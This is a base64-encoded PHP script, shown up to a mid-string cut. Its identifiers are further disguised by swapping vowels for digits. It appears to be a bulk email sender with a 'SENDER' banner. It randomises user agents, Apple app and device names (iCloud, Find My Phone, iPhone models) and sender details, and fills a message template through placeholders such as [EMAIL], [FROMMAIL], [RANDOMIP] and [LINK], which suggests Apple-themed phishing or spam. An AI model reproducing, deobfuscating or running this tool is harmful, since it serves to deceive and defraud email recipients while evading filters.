VE1MLCBsNGs1IEc1Y2syKSBDaHIybTUvNjcuMC45ZW8uZWUgUzFmMXI0L2lvaS42NicsDQogICAgICAgICdNMno0bGwxL2kuMCAoVzRuZDJ3cyBOVCBlLmEpIEFwcGw1VzViSzR0L2lvaS42NiAoS0hUTUwsIGw0azUgRzVjazIpIENocjJtNS82Ny4wLjllby5lZSBTMWYxcjQvaW9pLjY2JywNCiAgICAgICAgJ00yejRsbDEvaS4wIChXNG5kMndzIE5UIGUuNjsgV09XZXUpIEFwcGw1VzViSzR0L2lvaS42NiAoS0hUTUwsIGw0azUgRzVjazIpIENocjJtNS82Ny4wLjllby5lZSBTMWYxcjQvaW9pLjY2JywNCiAgICAgICAgJ00yejRsbDEvaS4wIChXNG5kMndzIE5UIGUuNikgQXBwbDVXNWJLNHQvaW9pLjY2IChLSFRNTCwgbDRrNSBHNWNrMikgQ2hyMm01LzY3LjAuOWVvLmVlIFMxZjFyNC9pb2kuNjYnLA0KICAgICAgICAnTTJ6NGxsMS9pLjAgKFc0bmQyd3MgTlQgZS4wOyBXT1dldSkgQXBwbDVXNWJLNHQvaW9pLjY2IChLSFRNTCwgbDRrNSBHNWNrMikgQ2hyMm01LzY3LjAuOWVvLmVlIFMxZjFyNC9pb2kuNjYnLA0KICAgICAgICAnTTJ6NGxsMS9pLjAgKFc0bmQyd3MgTlQgZS4wKSBBcHBsNVc1Yks0dC9pb2kuNjYgKEtIVE1MLCBsNGs1IEc1Y2syKSBDaHIybTUvNjcuMC45ZW8uZWUgUzFmMXI0L2lvaS42NicsDQogICAgICAgICdNMno0bGwxL2kuMCAoVzRuZDJ3cyBOVCBpLjYpIEFwcGw1VzViSzR0L2lvaS42NiAoS0hUTUwsIGw0azUgRzVjazIpIENocjJtNS82Ny4wLjllby5lZSBTMWYxcjQvaW9pLjY2JywNCiAgICAgICAgJ00yejRsbDEvaS4wIChNMWM0bnQyc2g7IEludDVsIE0xYyBPUyBYIDYwXzdfbykgQXBwbDVXNWJLNHQvaW9pLjY2IChLSFRNTCwgbDRrNSBHNWNrMikgQ2hyMm01LzY3LjAuOWVvLmVlIFMxZjFyNC9pb2kuNjYnLA0KICAgICAgICAnTTJ6NGxsMS9pLjAgKE0xYzRudDJzaDsgSW50NWwgTTFjIE9TIFggNjBfN19hKSBBcHBsNVc1Yks0dC9pb2kuNjYgKEtIVE1MLCBsNGs1IEc1Y2syKSBDaHIybTUvNjcuMC45ZW8uZWUgUzFmMXI0L2lvaS42NicsDQogICAgICAgICdNMno0bGwxL2kuMCAoTTFjNG50MnNoOyBJbnQ1bCBNMWMgT1MgWCA2MF9lXzgpIEFwcGw1VzViSzR0L2lvaS42NiAoS0hUTUwsIGw0azUgRzVjazIpIENocjJtNS82Ny4wLjllby5lZSBTMWYxcjQvaW9pLjY2JywNCiAgICAgICAgJ00yejRsbDEvaS4wIChNMWM0bnQyc2g7IEludDVsIE0xYyBPUyBYIDYwX2lfOCkgQXBwbDVXNWJLNHQvaW9pLjY2IChLSFRNTCwgbDRrNSBHNWNrMikgQ2hyMm01LzY3LjAuOWVvLmVlIFMxZjFyNC9pb2kuNjYnLA0KICAgICAgICAnTTJ6NGxsMS9pLjAgKFg2NjsgTDRuM3ggeDhlX2V1KSBBcHBsNVc1Yks0dC9pb2kuNjYgKEtIVE1MLCBsNGs1IEc1Y2syKSBVYjNudDMvNjYuNjAgQ2hyMm00M20vNjcuMC45ZW8uZWkgQ2hyMm01LzY3LjAuOWVvLmVpIFMxZjFyNC9pb2kuNjYnLA0KICAgICAgICAnTTJ6NGxsMS9pLjAgKFg2NjsgTDRuM3ggeDhlX2V1KSBBcHBsNVc1Yks0dC9pb2kuNjYgKEtIVE1MLCBsNGs1IEc1Y2syKSBVYjNudDMvNjYuMHUgQ2hyMm00M20vNjcuMC45ZW8uZWkgQ2hyMm01LzY3LjAuOWVvLmVpIFMxZjFyNC9pb2kuNjYnLA0KICAgICAgICAnTTJ6NGxsMS9pLjAgKFg2NjsgTDRuM3ggeDhlX2V1KSBBcHBsNVc1Yks0dC9pb2kuNjYgKEtIVE1MLCBsNGs1IEc1Y2syKSBVYjNudDMvNjAuNjAgQ2hyMm00M20vNjcuMC45ZW8uZWkgQ2hyMm01LzY3LjAuOWVvLmVpIFMxZjFyNC9pb2kuNjYnLA0KICAgICAgICAnTTJ6NGxsMS9pLjAgKFg2NjsgTDRuM3ggNGU4ZSkgQXBwbDVXNWJLNHQvaW9pLjY2IChLSFRNTCwgbDRrNSBHNWNrMikgVWIzbnQzLzY2LjYwIENocjJtNDNtLzY3LjAuOWVvLmVpIENocjJtNS82Ny4wLjllby5laSBTMWYxcjQvaW9pLjY2JywNCiAgICAgICAgJ00yejRsbDEvaS4wIChYNjY7IEw0bjN4IDRlOGUpIEFwcGw1VzViSzR0L2lvaS42NiAoS0hUTUwsIGw0azUgRzVjazIpIENocjJtNS82Ny4wLjllby5laSBTMWYxcjQvaW9pLjY2JywNCiAgICAgICAgJ00yejRsbDEvaS4wIChYNjY7IEZyNTVCU0QgMW1kZXUpIEFwcGw1VzViSzR0L2lvaS42NiAoS0hUTUwsIGw0azUgRzVjazIpIENocjJtNS82Ny4wLjllby5laSBTMWYxcjQvaW9pLjY2JywNCiAgICAgICAgJ00yejRsbDEvaS4wIChXNG5kMndzIE5UIGUuYTsgV09XZXUpIEFwcGw1VzViSzR0L2lvaS42NiAoS0hUTUwsIGw0azUgRzVjazIpIENocjJtNS82Ny4wLjllby5laSBTMWYxcjQvaW9pLjY2JywNCiAgICAgICAgJ00yejRsbDEvaS4wIChNMWM0bnQyc2g7IEludDVsIE0xYyBPUyBYIDYwXzdfYSkgQXBwbDVXNWJLNHQvaW9pLjY2IChLSFRNTCwgbDRrNSBHNWNrMikgQ2hyMm01LzY3LjAuOWVvLmVpIFMxZjFyNC9pb2kuNjYnLA0KICAgICAgICAnTTJ6NGxsMS9pLjAgKE0xYzRudDJzaDsgSW50NWwgTTFjIE9TIFggNjBfN18wKSBBcHBsNVc1Yks0dC9pb2kuNjYgKEtIVE1MLCBsNGs1IEc1Y2syKSBDaHIybTUvNjcuMC45ZW8uZWkgUzFmMXI0L2lvaS42NicsDQogICAgICAgICdNMno0bGwxL2kuMCAoTTFjNG50MnNoOyBJbnQ1bCBNMWMgT1MgWCA2MF9lX3UpIEFwcGw1VzViSzR0L2lvaS42NiAoS0hUTUwsIGw0azUgRzVjazIpIENocjJtNS82Ny4wLjllby5laSBTMWYxcjQvaW9pLjY2JywNCiAgICAgICAgJ00yejRsbDEvaS4wIChYNjY7IEw0bjN4IHg4ZV9ldSkgQXBwbDVXNWJLNHQvaW9pLjY2IChLSFRNTCwgbDRrNSBHNWNrMikgVWIzbnQzLzY2LjB1IENocjJtNDNtLzY3LjAuOWVvLmllIENocjJtNS82Ny4wLjllby5pZSBTMWYxcjQvaW9pLjY2JywNCiAgICAgICAgJ00yejRsbDEvaS4wIChYNjY7IEw0bjN4IDRlOGUpIEFwcGw1VzViSzR0L2lvaS42NiAoS0hUTUwsIGw0azUgRzVjazIpIENocjJtNS82Ny4wLjllby5pZSBTMWYxcjQvaW9pLjY2JywNCiAgICAgICAgJ00yejRsbDEvaS4wIChXNG5kMndzIE5UIGUuNjsgV09XZXUpIEFwcGw1VzViSzR0L2lvaS42NiAoS0hUTUwsIGw0azUgRzVjazIpIENocjJtNS82Ny4wLjllby5pZSBTMWYxcjQvaW9pLjY2JywNCiAgICAgICAgJ00yejRsbDEvaS4wIChXNG5kMndzIE5UIGUuMDsgV09XZXUpIEFwcGw1VzViSzR0L2lvaS42NiAoS0hUTUwsIGw0azUgRzVjazIpIENocjJtNS82Ny4wLjllby5pZSBTMWYxcjQvaW9pLjY2JywNCiAgICAgICAgJ00yejRsbDEvaS4wIChYNjY7IEw0bjN4IHg4ZV9ldSkgQXBwbDVXNWJLNHQvaW9pLjY2IChLSFRNTCwgbDRrNSBHNWNrMikgQ2hyMm01LzY3LjAuOWVvLjZhIFMxZjFyNC9pb2kuNjYnLA0KICAgICAgICAnTTJ6NGxsMS9pLjAgKFc0bmQyd3MgTlQgZS42OyBXT1dldSkgQXBwbDVXNWJLNHQvaW9pLjggKEtIVE1MLCBsNGs1IEc1Y2syKSBDaHIybTUvNjcuMC45dTAuMCBTMWYxcjQvaW9pLjgnLA0KICAgICAgICAnTTJ6NGxsMS9pLjAgKFc0bmQyd3MgTlQgZS42KSBBcHBsNVc1Yks0dC9pb2kuNyAoS0hUTUwsIGw0azUgRzVjazIpIENocjJtNS82ZS4wLjk2YS43NyBTMWYxcjQvaW9pLjcxZC00bWNqMXAxbi1zeTJzeTFtMW4teGtnNG9scWcwbyF3Z3onLA0KICAgICAgICAnTTJ6NGxsMS9pLjAgKFg2NjsgQ3JPUyA0ZThlIDY2OW8uNmk4LjApIEFwcGw1VzViSzR0L2lvaS43IChLSFRNTCwgbDRrNSBHNWNrMikgQ2hyMm01LzZlLjAuOTZhLjdpIFMxZjFyNC9pb2kuNycsDQogICAgICAgICdNMno0bGwxL2kuMCAoVzRuZDJ3cyBOVCBlLjA7IFdPV2V1KSBBcHBsNVc1Yks0dC9pb2kuNyAoS0hUTUwsIGw0azUgRzVjazIpIENocjJtNS82ZS4wLjk2YS43aSBTMWYxcjQvaW9pLjcnLA0KICAgICAgICAnTTJ6NGxsMS9pLjAgKFc0bmQyd3MgTlQgZS42OyBXT1dldSkgQXBwbDVXNWJLNHQvaW9pLjcgKEtIVE1MLCBsNGs1IEc1Y2syKSBDaHIybTUvNmUuMC45NmEuZW8gUzFmMXI0L2lvaS43eHNpRDlyUkRGcGdhZycsDQogICAgICAgICdNMno0bGwxL2kuMCAoVzRuZDJ3cyBOVCBlLjYpIEFwcGw1VzViSzR0L2lvaS44IChLSFRNTCwgbDRrNSBHNWNrMikgQ2hyMm01LzZlLjAuOTZhLmVvIFMxZjFyNC9pb2kuOCcsDQogICAgICAgICdNMno0bGwxL2kuMCAoVzRuZDJ3cyBOVCBpLmE7IFdPV2V1KSBBcHBsNVc1Yks0dC9pb2kuNyAoS0hUTUwsIGw0azUgRzVjazIpIENocjJtNS82ZS4wLjk2YS5lbyBTMWYxcjQvaW9pLjcnDQogICAgKTsNCiAgICBzaDNmZmw1KCRVQV8xcnIpOw0KICAgICRVQSA9IDFycjF5X3NoNGZ0KCRVQV8xcnIpOw0KDQogIC8vIEFwcGw1IEFwcHMNCiAgJEFwcGw1X0FwcHNfMXJyID0gMXJyMXkoDQogICAgICAgICc0TTVzczFnNScsDQogICAgICAgICc0Q2wyM2QnLA0KICAgICAgICAnRjFjNVQ0bTUnLA0KICAgICAgICAnNFRoM241cycsDQogICAgICAgICdBcHBsNSBQaDJ0MnMnLA0KICAgICAgICAnRjRuZCBNeSBQaDJuNScNCiAgICApOw0KICAgIHNoM2ZmbDUoJEFwcGw1X0FwcHNfMXJyKTsNCiAgICAkQXBwbDVfQXBwcyA9IDFycjF5X3NoNGZ0KCRBcHBsNV9BcHBzXzFycik7DQoNCiAgLy9BcHBsNSBENXNrdDJwDQogICAgICAkQXBwbDVfRDV2NGM1X0Q1c2t0MnBfQXJyID0gMXJyMXkoDQogICAgICAgICdNMWNCMjJrUHIyaSxpJywNCiAgICAgICAgJ00xY0IyMmtQcjJpLG8nLA0KICAgICAgICAnTTFjQjIya1ByMmksYScsDQogICAgICAgICdNMWNCMjJrUHIyNyw2JywNCiAgICAgICAgJ00xY0IyMmtQcjJlLDYnLA0KICAgICAgICAnTTFjQjIya1ByMmUsYScsDQogICAgICAgICdNMWNCMjJrUHIyOCw2JywNCiAgICAgICAgJ00xY0IyMmtQcjI4LGEnLA0KICAgICAgICAnTTFjQjIya1ByMjgsbycsDQogICAgICAgICdNMWNCMjJrUHIyOSw2JywNCiAgICAgICAgJ00xY0IyMmtQcjI5LGEnLA0KICAgICAgICAnTTFjQjIya1ByMjYwLDYnLA0KICAgICAgICAnTTFjQjIya1ByMjYwLGEnLA0KICAgICAgICAnTTFjQjIya1ByMjY2LDYnLA0KICAgICAgICAnTTFjQjIya1ByMjY2LGEnLA0KICAgICAgICAnTTFjQjIya1ByMjY2LG8nLA0KICAgICAgICAnTTFjQjIya1ByMjY2LHUnLA0KICAgICAgICAnTTFjQjIya1ByMjY2LGknLA0KICAgICAgICAnTTFjQjIya1ByMjZvLDYnLA0KICAgICAgICAnTTFjQjIya1ByMjZvLGEnLA0KICAgICAgICAnTTFjQjIya1ByMjZvLG8nLA0KICAgICAgICAnTTFjQjIya1ByMjZ1LDYnLA0KICAgICAgICAnTTFjQjIya1ByMjZ1LGEnLA0KICAgICAgICAnTTFjQjIya1ByMjZ1LG8nDQogICAgKTsNCiAgICBzaDNmZmw1KCRBcHBsNV9ENXY0YzVfRDVza3QycF9BcnIpOw0KICAgICRBcHBsNV9ENXY0YzVfRDVza3QycCA9IDFycjF5X3NoNGZ0KCRBcHBsNV9ENXY0YzVfRDVza3QycF9BcnIpOw0KDQogIC8vMXBwbDUgcGgybjUNCiAgICRBcHBsNV9QaDJuNV8xcnIgPSAxcnIxeSgNCiAgICAgICAgJzRQaDJuNSB1JywNCiAgICAgICAgJzRQaDJuNSB1UycsDQogICAgICAgICc0UGgybjUgaScsDQogICAgICAgICc0UGgybjUgaWMnLA0KICAgICAgICAnNFBoMm41IGlzJywNCiAgICAgICAgJzRQaDJuNSBlJywNCiAgICAgICAgJzRQaDJuNSBlIFBsM3MnLA0KICAgICAgICAnNFBoMm41IGVzJywNCiAgICAgICAgJzRQaDJuNSBlcyBQbDNzJywNCiAgICAgICAgJzRQaDJuNSBTRScsDQogICAgICAgICc0UGgybjUgNycsDQogICAgICAgICc0UGgybjUgNyBQbDNzJywNCiAgICAgICAgJzRQaDJuNSA4JywNCiAgICAgICAgJzRQaDJuNSA4IFBsM3MnLA0KICAgICAgICAnNFBoMm41IFgnDQogICAgKTsNCiAgICBzaDNmZmw1KCRBcHBsNV9QaDJuNV8xcnIpOw0KICAgICRBcHBsNV9QaDJuNSA9IDFycjF5X3NoNGZ0KCRBcHBsNV9QaDJuNV8xcnIpOw0KDQogIC8vbDRzdGJyMndzNXINCiAgJEw0c3RfQnIyd3M1cl8xcnIgPSAxcnIxeSgNCiAgICAgICAgJ0cyMmdsNSBDaHIybTUnLA0KICAgICAgICAnTTJ6NGxsMSBGNHI1ZjJ4JywNCiAgICAgICAgJ1MxZjFyNCcsDQogICAgICAgICdPcDVyMScsDQogICAgICAgICdJbnQ1cm41dCBFeHBsMnI1cicsDQogICAgKTsNCiAgICBzaDNmZmw1KCRMNHN0X0JyMndzNXJfMXJyKTsNCiAgICAkTDRzdF9CcjJ3czVyID0gMXJyMXlfc2g0ZnQoJEw0c3RfQnIyd3M1cl8xcnIpOw0KDQogIC8vM3M1cm4xbTUNCiAgJHAxcnRzID0gNXhwbDJkNSgiQCIsJDVtMTRsKTsNCiAgJDNzNXJuMW01NW0xNGwgPSAkcDFydHNbMF07DQoNCg0KICAvL2QybTE0bm4xbTUNCiAgJGQybTE0bjVtMTRsZjNsbCA9IHMzYnN0cihzdHJyY2hyKCQ1bTE0bCwgIkAiKSwgNik7DQoNCiAgIC8vZDJtMTRubjFtNWYzbGwNCiAgJGQybTE0bjVtMTRsZjNsbGI1ZjJyNSA9IHMzYnN0cihzdHJyY2hyKCQ1bTE0bCwgIkAiKSwgNik7DQogICRkMm0xNG41bTE0bGYzbGwxcnIxeSA9IDV4cGwyZDUoIi4iLCRkMm0xNG41bTE0bGYzbGxiNWYycjUpOw0KICAkZDJtMTRuNW0xNGwgPSAkZDJtMTRuNW0xNGxmM2xsMXJyMXlbMF07DQoNCg0KICAgICRkMXQ1ID0gZDF0NSgnRiBkLCBZLCBoOjQgQScpOw0KICAgICRmNGw1ID0gZjRsNV9nNXRfYzJudDVudHMoJG1zZ2Y0bDUpOw0KDQogICAkMXJyICA9IDFycjF5KA0KICAgICAgICAnW0VNQUlMXScsDQogICAgICAgICdbU1VCSkVDVF0nLA0KICAgICAgICAnW1JBTkRPTUlQXScsDQogICAgICAgICdbRlJPTU1BSUxdJywNCiAgICAgICAgJ1tGUk9NTkFNRV0nLA0KICAgICAgICAnW0xJTktdJywNCiAgICAgICAgJ1tyMW5kc3RyNG5nXScsDQogICAgICAgICdbUkFORFNUUklOR10nLA0KICAgICAgICAnW0NPVU5UUlldJywNCiAgICAgICAgJ1tEQVRFXScsDQogICAgICAgICdbTlVNQkVSNl0nLA0KICAgICAgICAnW05VTUJFUmFdJywNCiAgICAgICAgJ1tOVU1CRVJvXScsDQogICAgICAgICdbTlVNQkVSdV0nLA0KICAgICAgICAnW05VTUJFUmldJywNCiAgICAgICAgJ1tOVU1CRVJlXScsDQogICAgICAgICdbTlVNQkVSN10nLA0KICAgICAgICAnW05VTUJFUjhdJywNCiAgICAgICAgJ1tOVU1CRVI5XScsDQogICAgICAgICdbTlVNQkVSNjAnLA0KICAgICAgICAnW2NoMXI2XScsDQogICAgICAgICdbY2gxcmFdJywNCiAgICAgICAgJ1tjaDFyb10nLA0KICAgICAgICAnW2NoMXJ1XScsDQogICAgICAgICdbY2gxcmldJywNCiAgICAgICAgJ1tjaDFyZV0nLA0KICAgICAgICAnW2NoMXI3XScsDQogICAgICAgICdbY2gxcjhdJywNCiAgICAgICAgJ1tjaDFyOV0nLA0KICAgICAgICAnW2NoMXI2MF0nLA0KICAgICAgICAnW0NIQVI2XScsDQogICAgICAgICdbQ0hBUmFdJywNCiAgICAgICAgJ1tDSEFSb10nLA0KICAgICAgICAnW0NIQVJ1XScsDQogICAgICAgICdbQ0hBUmldJywNCiAgICAgICAgJ1tDSEFSZV0nLA0KICAgICAgICAnW0NIQVI3XScsDQogICAgICAgICdbQ0hBUjhdJywNCiAgICAgICAgJ1tDSEFSOV0nLA0KICAgICAgICAnW0NIQVI2MF0nLA0KICAgICAgICAnW1BDX09TXScsDQogICAgICAgICdbUENfQnIyd3M1cl0nLA0KICAgICAgICAnW0NPVU5UUllDSVRZXScsDQogICAgICAgICdbQU5EUk9JRF9PU10nLA0KICAgICAgICAnW0FORFJPSURfQnIyd3M1cl0nLA0KICAgICAgICAnW1VBXScsDQogICAgICAgICdbQVBQTEVBUFBTXScsDQogICAgICAgICdbQVBQTEVQQ10nLA0KICAgICAgICAnW0FQUExFUEhPTkVTXScsDQogICAgICAgICdbVU5JVkVSU0FMX0JyMndzNXJdJywNCiAgICAgICAgJ1tVU0VSTkFNRV0nLA0KICAgICAgICAnW0RPTUFJTl0nLA0KICAgICAgICAnW0RPTUFJTkZVTExdJywNCiAgICApOw0KDQoNCiAgICRuNXcgID0gMXJyMXkoDQogICAgICAgICcnIC4gJDVtMTRsIC4gJycsDQogICAgICAgICcnIC4gJHMzYmo1Y3QgLiAnJywNCiAgICAgICAgJycgLiAkcjFuZDRwIC4gJycsDQogICAgICAgICcnIC4gJGZyMm1tMTRsIC4gJycsDQogICAgICAgICcnIC4gJGZyMm1uMW01IC4gJycsDQogICAgICAgICcnIC4gJHIxbmQzcmxzIC4gJycsDQogICAgICAgICcnIC4gJHIxbmRzdHIgLiAnJywNCiAgICAgICAgJycgLiAkcjFuZHN0cjYgLiAnJywNCiAgICAgICAgJycgLiAkYzIzbnRyeSAuICcnLA0KICAgICAgICAnJyAuICRkMXQ1IC4gJycsDQogICAgICAgICcnIC4gJHIxbmRuM21iNXI2IC4gJycsDQogICAgICAgICcnIC4gJHIxbmRuM21iNXJhIC4gJycsDQogICAgICAgICcnIC4gJHIxbmRuM21iNXJvIC4gJycsDQogICAgICAgICcnIC4gJHIxbmRuM21iNXJ1IC4gJycsDQogICAgICAgICcnIC4gJHIxbmRuM21iNXJpIC4gJycsDQogICAgICAgICcnIC4gJHIxbmRuM21iNXJlIC4gJycsDQogICAgICAgICcnIC4gJHIxbmRuM21iNXI3IC4gJycsDQogICAgICAgICcnIC4gJHIxbmRuM21iNXI4IC4gJycsDQogICAgICAgICcnIC4gJHIxbmRuM21iNXI5IC4gJycsDQogICAgICAgICcnIC4gJHIxbmRuM21iNXI2MCAuICcnLA0KICAgICAgICAnJyAuICRyMW5kY2gxcjYgLiAnJywNCiAgICAgICAgJycgLiAkcjFuZGNoMXJhIC4gJycsDQogICAgICAgICcnIC4gJHIxbmRjaDFybyAuICcnLA0KICAgICAgICAnJyAuICRyMW5kY2gxcnUgLiAnJywNCiAgICAgICAgJycgLiAkcjFuZGNoMXJpIC4gJycsDQogICAgICAgICcnIC4gJHIxbmRjaDFyZSAuICcnLA0KICAgICAgICAnJyAuICRyMW5kY2gxcjcgLiAnJywNCiAgICAgICAgJycgLiAkcjFuZGNoMXI4IC4gJycsDQogICAgICAgICcnIC4gJHIxbmRjaDFyOSAuICcnLA0KICAgICAgICAnJyAuICRyMW5kY2gxcjYwIC4gJycsDQogICAgICAgICcnIC4gJHIxbmRjaDFyNjYgLiAnJywNCiAgICAgICAgJycgLiAkcjFuZGNoMXI2YSAuICcnLA0KICAgICAgICAnJyAuICRyMW5kY2gxcjZvIC4gJycsDQogICAgICAgICcnIC4gJHIxbmRjaDFyNnUgLiAnJywNCiAgICAgICAgJycgLiAkcjFuZGNoMXI2aSAuICcnLA0KICAgICAgICAnJyAuICRyMW5kY2gxcjZlIC4gJycsDQogICAgICAgICcnIC4gJHIxbmRjaDFyNjcgLiAnJywNCiAgICAgICAgJycgLiAkcjFuZGNoMXI2OCAuICcnLA0KICAgICAgICAnJyAuICRyMW5kY2gxcjY5IC4gJycsDQogICAgICAgICcnIC4gJHIxbmRjaDFyNjYwIC4gJycsDQogICAgICAgICcnIC4gJFBDX09TIC4gJycsDQogICAgICAgICcnIC4gJFBDX2JyMndzNXIgLiAnJywNCiAgICAgICAgJycgLiAkYzIzbnRyeWM0dHkgLiAnJywNCiAgICAgICAgJycgLiAkQW5kcjI0ZF9PUyAuICcnLA0KICAgICAgICAnJyAuICRBbmRyMjRkX0JyMndzNXIgLiAnJywNCiAgICAgICAgJycgLiAkVUEgLiAnJywNCiAgICAgICAgJycgLiAkQXBwbDVfQXBwcyAuICcnLA0KICAgICAgICAnJyAuICRBcHBsNV9ENXY0YzVfRDVza3QycCAuICcnLA0KICAgICAgICAnJyAuICRBcHBsNV9QaDJuNSAuICcnLA0KICAgICAgICAnJyAuICRMNHN0X0JyMndzNXIgLiAnJywNCiAgICAgICAgJycgLiAkM3M1cm4xbTU1bTE0bCAuICcnLA0KICAgICAgICAnJyAuICRkMm0xNG41bTE0bCAuICcnLA0KICAgICAgICAnJyAuICRkMm0xNG41bTE0bGYzbGwgLiAnJywNCg0KICAgICk7DQogICAgJHI1cGwgPSBzdHJfcjVwbDFjNSgkMXJyLCAkbjV3LCAkZjRsNSwgJHMzYmo1Y3QpOw0KICAgIHI1dDNybiAkcjVwbDsNCn07DQoNCmYzbmN0NDJuIFI1bDV0dDVyKCRsNXR0NXIsICRtMTRsdDIpDQp7DQogICAgJGY0bDUgPSBmNGw1X2c1dF9jMm50NW50cygkbDV0dDVyKTsNCiAgICAkMXJyICA9IDFycjF5KCcjIzVtMTRsIyMnKTsNCiAgICAkbjV3ICA9IDFycjF5KCcnIC4gJG0xNGx0MiAuICcnKTsNCiAgICAkcjVwbCA9IHN0cl9yNXBsMWM1KCQxcnIsICRuNXcsICRmNGw1KTsNCiAgICByNXQzcm4gJHI1cGw7DQp9Ow0KDQpmM25jdDQybiBiNXJoNW50NCgkazF0MSkNCnsNCiAgICAkayA9IHN0cmw1bigkazF0MSk7DQogICAgNGYgKCRrID09ICRrKSB7DQogICAgICAgICRwID0gczNic3RyKCRrMXQxLCAkayAtIDYpOw0KICAgICAgICA0ZiAoJHAgPT0gMCkgew0KICAgICAgICAgICAgNWNoMiAiQnI1MWsgZjJyIHUgczVjMm5kcy4uLlxuIjsNCiAgICAgICAgICAgIHNsNTVwKHUpOw0KICAgICAgICB9fX1mM25jdDQybiBTMXY1ZDF0MSgkZjRsNSwgJGQxdDEpDQp7DQogICAgJGY0bDUgPSBmMnA1bigkZjRsNSwgInciKTsNCiAgICBmcDN0cygkZjRsNSwgUEhQX0VPTCAuICRkMXQxKTsNCiAgICByNXQzcm4gZmNsMnM1KCRmNGw1KTsNCn07DQoNCmYzbmN0NDJuIFI1bTJ2NUw0bjUoJGY0bDUsICRuMW01KQ0Kew0KICAgICRnNXRmNGw1ICA9IGY0bDVfZzV0X2MybnQ1bnRzKCRmNGw1KTsNCiAgICAkczUxcmNoICAgPSA1eHBsMmQ1KCRuMW01LCAkZzV0ZjRsNSk7DQogICAgJHMxdjUgICAgID0gJHM1MXJjaFs2XTsNCiAgICAkczF2NWQxdDEgPSBTMXY1ZDF0MSgkZjRsNSwgJHMxdjUpOw0KICAgIHI1dDNybiAkczF2NWQxdDE7DQp9Ow0KDQokdDJ0MWxzNW5kPTY7DQoNCjRuY2wzZDUoJ1M1dHQ0bmdzLnBocCcpOw0Kc3lzdDVtKCdjbDUxcicpOw0KDQogICANCjVjaDIgIlw1Wzk2bT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVw1WzBtDQoNCg0KDQogICAgICAgICAuMjg4Yi4gZGIgICAgICAgLmQ4OGIuICBkYiAgICBkYiBkODg4OGIuICAgICAgICAuZDg4ODguIA0KICAgICAgICBkOFAgIFk4IDg4ICAgICAgLjhQICBZOC4gODggICAgODggODggIGA4RCAgICAgICAgODgnICBZUCANCiAgICAgICAgOFAgICAgICA4OCAgICAgIDg4ICAgIDg4IDg4ICAgIDg4IDg4ICAgODggICAgICAgIGA4YjIuICAgDQogICAgICAgIDhiICAgICAgODggICAgICA4OCAgICA4OCA4OCAgICA4OCA4OCAgIDg4IEM4ODg4RCAgIGBZOGIuIA0KICAgICAgICBZOGIgIGQ4IDg4YjIyMi4gYDhiICBkOCcgODhiICBkODggODggIC44RCAgICAgICAgZGIgICA4RCANCiAgICAgICAgIGBZODhQJyBZODg4ODhQICBgWTg4UCcgIH5ZODg4OFAnIFk4ODg4RCcgICAgICAgIGA4ODg4WScgDQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICstKy0rLSstKy0rLSsNClw1Wzk2bT09PT09PT09PT09PT09PT09PT09PT09PVtcNVswbSAgIHxTfEV8TnxEfEV8UnwgIFw1WzBtIFw1Wzk2bV09PT09PT09PT09PT09PT09PT09PT09PT09PT1cNVswbQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICstKy0rLSstKy0rLSsNCg0KXDVbOTZtPT09PT09PT09PT09PT09PT09PT09PT09PT09PT1bXDVbMG0gXDVbNjt1bXYuNi42LjZcNVswbSBcNVs5Nm1dPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT1cNVswbSI7DQoNCjVjaDIgIlxyXG4iOw0KDQo1Y2gyICIgICAgICAgXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cclxuIjsNCjVjaDIgIiAgICAgICBcNVs5Nm18XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNV